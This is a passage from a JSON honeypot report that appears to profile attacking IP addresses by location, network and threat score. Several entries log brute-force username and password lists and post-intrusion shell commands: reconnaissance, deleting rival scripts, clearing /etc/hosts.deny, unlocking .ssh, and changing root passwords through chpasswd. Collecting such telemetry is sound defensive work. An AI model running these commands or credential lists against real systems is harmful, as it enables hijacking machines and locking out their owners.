      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T01:36:53.764000+00:00",
        "last_seen_30d": "2026-05-22T01:38:16.564000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "5.139.231.249": {
      "attack_count": 2,
      "first_seen": "2026-05-22T07:54:16.025Z",
      "last_seen": "2026-05-22T07:54:28.253Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Krasnodar",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T07:54:16.025000+00:00",
        "last_seen_30d": "2026-05-22T07:55:31.822000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "58.47.120.7": {
      "attack_count": 2,
      "first_seen": "2026-05-26T08:49:15.719Z",
      "last_seen": "2026-05-26T08:49:29.114Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T08:49:15.719000+00:00",
        "last_seen_30d": "2026-05-26T08:50:32.623000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "62.54.176.203": {
      "attack_count": 2,
      "first_seen": "2026-05-14T23:30:31.617Z",
      "last_seen": "2026-05-14T23:30:31.618Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Wetzlar",
      "asn": 6805,
      "as_org": "Telefonica Germany",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T23:30:31.617000+00:00",
        "last_seen_30d": "2026-05-14T23:31:39.241000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "77.45.170.74": {
      "attack_count": 2,
      "first_seen": "2026-05-12T15:00:47.890Z",
      "last_seen": "2026-05-12T15:01:01.173Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Rossosh",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T15:00:47.890000+00:00",
        "last_seen_30d": "2026-05-12T15:02:08.054000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "81.137.231.116": {
      "attack_count": 2,
      "first_seen": "2026-05-28T16:16:18.881Z",
      "last_seen": "2026-05-28T16:18:18.882Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Rickmansworth",
      "asn": 2856,
      "as_org": "British Telecommunications PLC",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T16:16:18.881000+00:00",
        "last_seen_30d": "2026-05-28T16:29:07.407000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "91.227.114.143": {
      "attack_count": 2,
      "first_seen": "2026-05-28T20:27:40.986Z",
      "last_seen": "2026-05-28T20:27:41.257Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Berlin",
      "asn": 210006,
      "as_org": "Shereverov Marat Ahmedovich",
      "threat_score": 44.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.1,
        "persistence": 5.0,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 6,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-23T23:54:26+00:00",
        "last_seen_30d": "2026-05-28T20:28:44.878000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "H0neytr4p": 8,
        "Honeytrap": 8,
        "Cowrie": 2
      }
    },
    "94.59.0.244": {
      "attack_count": 2,
      "first_seen": "2026-05-22T16:04:10.254Z",
      "last_seen": "2026-05-22T16:04:22.690Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": "Abu Dhabi",
      "asn": 5384,
      "as_org": "Emirates Telecommunications Group Company (etisalat Group) Pjsc",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T16:04:10.254000+00:00",
        "last_seen_30d": "2026-05-22T16:05:32.231000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.156.87.253": {
      "attack_count": 6873,
      "first_seen": "2026-05-04T20:39:34.914Z",
      "last_seen": "2026-05-13T09:13:51.704Z",
      "sessions": 1372,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "admin",
        "ubuntu",
        "deploy",
        "test",
        "user1",
        "minecraft",
        "postgres",
        "steam",
        "oracle",
        "frappe",
        "git",
        "hadoop",
        "app",
        "dmdba",
        "es",
        "ftpuser",
        "guest",
        "mysql"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "1",
        "password",
        "1234",
        "12345",
        "12345678",
        "1qaz@WSX",
        "123456789",
        "abc123",
        "111",
        "1111",
        "123123",
        "Aa123456",
        "admin",
        "admin123",
        "qwe123",
        "test123",
        "******",
        "111111"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 20.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 9727,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T20:39:15.386000+00:00",
        "last_seen_30d": "2026-05-13T09:14:53.869000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6873,
        "Suricata": 2854
      }
    },
    "176.65.139.111": {
      "attack_count": 1257,
      "first_seen": "2026-05-03T06:13:56.504Z",
      "last_seen": "2026-05-03T06:40:58.202Z",
      "sessions": 252,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "admin",
        "user",
        "ubuntu",
        "ftpuser",
        "test",
        "ali",
        "frappe",
        "alex",
        "bob",
        "bot",
        "botuser",
        "claude",
        "demo",
        "deployer",
        "developer",
        "dmdba",
        "hadoop",
        "jenkins"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "P@ssw0rd",
        "password",
        "1234",
        "12345678",
        "1qaz@WSX",
        "1",
        "12345",
        "admin123",
        "p@ssw0rd",
        "1111",
        "123root",
        "admin",
        "chris",
        "root",
        "!QAZ2wsx3edc4rfv",
        "00000000",
        "102030",
        "11"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Luxembourg",
      "country_code": "LU",
      "city": null,
      "asn": 214472,
      "as_org": "Offshore LC",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 1773,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T06:13:56.504000+00:00",
        "last_seen_30d": "2026-05-03T06:42:07.670000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1257,
        "Suricata": 516
      }
    },
    "195.158.4.212": {
      "attack_count": 666,
      "first_seen": "2026-05-19T02:01:59.555Z",
      "last_seen": "2026-05-28T10:37:38.871Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "bharath",
        "kt",
        "mytest",
        "webadmin",
        "wireguard",
        "admin",
        "administrator",
        "adminuser",
        "agent",
        "ansible",
        "claude",
        "damien",
        "elasticsearch",
        "ftpuser",
        "geo",
        "mm",
        "sftptest",
        "sri"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "!Q@W3e4r",
        "!QAZ2wsx2024",
        "1234",
        "123456+",
        "123QWE123qwe",
        "12qw",
        "Admin@789",
        "P@SSW0RD",
        "P@ssw0rd",
        "Qwe@123456789",
        "a",
        "abc-1234",
        "abcd1234",
        "agent123!",
        "bharath",
        "claude123",
        "damien"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1234\\nlXxlM6xqyJiK\\nlXxlM6xqyJiK\\n\"|passwd",
        "echo \"bharath\\nAqrOOXh7kYdl\\nAqrOOXh7kYdl\\n\"|passwd",
        "echo \"kt@123\\nbVd5ALW9gHoj\\nbVd5ALW9gHoj\\n\"|passwd",
        "echo \"mytest\\npDrR5KXNyxnQ\\npDrR5KXNyxnQ\\n\"|passwd",
        "echo \"root:RcjMooFNqhco\"|chpasswd|bash",
        "echo \"root:x4oBgAKqxoS2\"|chpasswd|bash",
        "echo \"webadmin\\n4iff7cL2e7Hb\\n4iff7cL2e7Hb\\n\"|passwd",
        "echo -e \"1234\\nlXxlM6xqyJiK\\nlXxlM6xqyJiK\"|passwd|bash",
        "echo -e \"bharath\\nAqrOOXh7kYdl\\nAqrOOXh7kYdl\"|passwd|bash",
        "echo -e \"kt@123\\nbVd5ALW9gHoj\\nbVd5ALW9gHoj\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 8193,
      "as_org": "Uzbektelekom Joint Stock Company",
      "threat_score": 44.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.9,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 780,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T02:01:59.555000+00:00",
        "last_seen_30d": "2026-05-28T10:38:43.002000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 666,
        "Suricata": 114
      }
    },
    "77.239.111.233": {
      "attack_count": 617,
      "first_seen": "2026-05-17T17:20:18.304Z",
      "last_seen": "2026-05-21T10:17:14.189Z",
      "sessions": 53,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "chiji",
        "netadmin",
        "pham",
        "volcengine",
        "cho",
        "csgo",
        "dmit",
        "dovecot",
        "jdcloud",
        "jeon",
        "manager",
        "user",
        "yunwei"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "password",
        "113",
        "4r3e2w1q",
        "8675309",
        "Dd112211",
        "QAZ!@#123",
        "ZXCasdQWE",
        "amir123",
        "anders",
        "boston",
        "canada",
        "cho",
        "costas",
        "damian01",
        "elevator",
        "fucker",
        "gerbera"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\nHNENpbM8DnPg\\nHNENpbM8DnPg\\n\"|passwd",
        "echo \"123456\\nLwz5SYJRdI8C\\nLwz5SYJRdI8C\\n\"|passwd",
        "echo \"netadmin\\nimk8X4fVhPhk\\nimk8X4fVhPhk\\n\"|passwd",
        "echo \"password\\nggEGSYh3dvKc\\nggEGSYh3dvKc\\n\"|passwd",
        "echo \"root:1oxD9qB0L0Vf\"|chpasswd|bash",
        "echo \"root:2vOn93D8cgOA\"|chpasswd|bash",
        "echo -e \"123456\\nHNENpbM8DnPg\\nHNENpbM8DnPg\"|passwd|bash",
        "echo -e \"123456\\nLwz5SYJRdI8C\\nLwz5SYJRdI8C\"|passwd|bash",
        "echo -e \"netadmin\\nimk8X4fVhPhk\\nimk8X4fVhPhk\"|passwd|bash",
        "echo -e \"password\\nggEGSYh3dvKc\\nggEGSYh3dvKc\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 215590,
      "as_org": "DpkgSoft International Limited",
      "threat_score": 29.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.7,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 735,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T17:20:18.304000+00:00",
        "last_seen_30d": "2026-05-21T10:18:15.653000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 617,
        "Suricata": 118
      }
    },
    "43.163.4.16": {
      "attack_count": 477,
      "first_seen": "2026-05-17T08:51:36.886Z",
      "last_seen": "2026-05-19T03:57:43.553Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "administrador",
        "backuppc",
        "centos",
        "claude",
        "dirk",
        "odoo",
        "sysadmin",
        "test",
        "tom",
        "ubuntu",
        "zx"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "10041004",
        "1111",
        "123",
        "1234",
        "123456",
        "1234567",
        "123456a.",
        "123567",
        "123Qwe123",
        "1324",
        "1918",
        "1qaz2wsx@",
        "234234",
        "Aa987654321",
        "P455w0rd",
        "P@ss1234",
        "Server123@",
        "Ty123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:HeeoHEtv7p8Z\"|chpasswd|bash",
        "echo \"root:W7FJQdbEM3Yl\"|chpasswd|bash",
        "echo \"root:cRD5xBkBjjOG\"|chpasswd|bash",
        "echo \"root:fMGrB0yNNJBF\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.7,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 587,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T08:51:36.886000+00:00",
        "last_seen_30d": "2026-05-19T03:58:47.718000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 477,
        "Suricata": 110
      }
    },
    "112.103.204.119": {
      "attack_count": 475,
      "first_seen": "2026-05-21T06:39:36.664Z",
      "last_seen": "2026-05-22T08:24:02.725Z",
      "sessions": 237,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 29.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 729,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T06:39:36.664000+00:00",
        "last_seen_30d": "2026-05-22T08:25:09.417000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 475,
        "Suricata": 254
      }
    },
    "185.228.135.197": {
      "attack_count": 423,
      "first_seen": "2026-05-23T02:41:13.067Z",
      "last_seen": "2026-05-23T04:24:37.805Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ts3server",
        "alex",
        "ansible",
        "clawd",
        "debian",
        "desktop",
        "dev",
        "harry",
        "jerry",
        "nana",
        "nino",
        "staging",
        "testadmin",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "!Q@W#E$R1q2w3e4r",
        "!QAZ2wsx2020",
        "010203",
        "123",
        "123123",
        "1234",
        "12345678Abc",
        "1q2w!Q@W",
        "1qaz!QAZ",
        "1qaz@2WSX",
        "Admin111",
        "Admin123...",
        "Admin2024!@#",
        "Password123",
        "Qwerty123!",
        "Server2026!",
        "User@1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nMi4UArebvhUu\\nMi4UArebvhUu\\n\"|passwd",
        "echo \"root:OnWc0msRIovO\"|chpasswd|bash",
        "echo \"root:XzSk3twhs5cL\"|chpasswd|bash",
        "echo \"root:aehARV4KhP3S\"|chpasswd|bash",
        "echo -e \"123456\\nMi4UArebvhUu\\nMi4UArebvhUu\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Sochi",
      "asn": 57354,
      "as_org": "SYSTEMA Ltd",
      "threat_score": 29.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 515,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T02:41:13.067000+00:00",
        "last_seen_30d": "2026-05-23T04:25:47.220000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 423,
        "Suricata": 92
      }
    },
    "125.31.2.160": {
      "attack_count": 414,
      "first_seen": "2026-05-13T23:31:52.411Z",
      "last_seen": "2026-05-19T23:28:34.745Z",
      "sessions": 48,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1234",
        "centos",
        "claude",
        "egmzkeaq",
        "erfan",
        "es",
        "gemini",
        "gpadmin",
        "op",
        "user",
        "zone"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@!@",
        "1",
        "123321",
        "1234.asd",
        "123456",
        "123QWE",
        "2077",
        "Ba123456",
        "Cc112233",
        "Ctyun@2025",
        "P@$$w0rD",
        "P@ssw0rd1!",
        "Password123321",
        "Qaz12345678!",
        "Qaz123wsx!@#",
        "Teste123",
        "aA1234567890",
        "admin1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:3aj0dT5gEKPl\"|chpasswd|bash",
        "echo \"root:ATYxTjLRdruY\"|chpasswd|bash",
        "echo \"root:vtDgcw3jkoYY\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Macao",
      "country_code": "MO",
      "city": null,
      "asn": 4609,
      "as_org": "Companhia de Telecomunicacoes de Macau SARL",
      "threat_score": 27.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.2,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 523,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T23:31:52.411000+00:00",
        "last_seen_30d": "2026-05-19T23:29:44.519000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 414,
        "Suricata": 109
      }
    },
    "180.191.254.67": {
      "attack_count": 406,
      "first_seen": "2026-05-19T18:15:09.499Z",
      "last_seen": "2026-05-20T18:12:53.385Z",
      "sessions": 203,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "General Trias",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 26.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 613,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:15:09.499000+00:00",
        "last_seen_30d": "2026-05-20T18:14:00.153000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 406,
        "Suricata": 207
      }
    },
    "186.118.142.245": {
      "attack_count": 387,
      "first_seen": "2026-05-12T04:06:37.510Z",
      "last_seen": "2026-05-19T22:37:04.065Z",
      "sessions": 54,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "mysql",
        "345gs5662d34",
        "ali",
        "ansadmin",
        "user",
        "claude",
        "deploy",
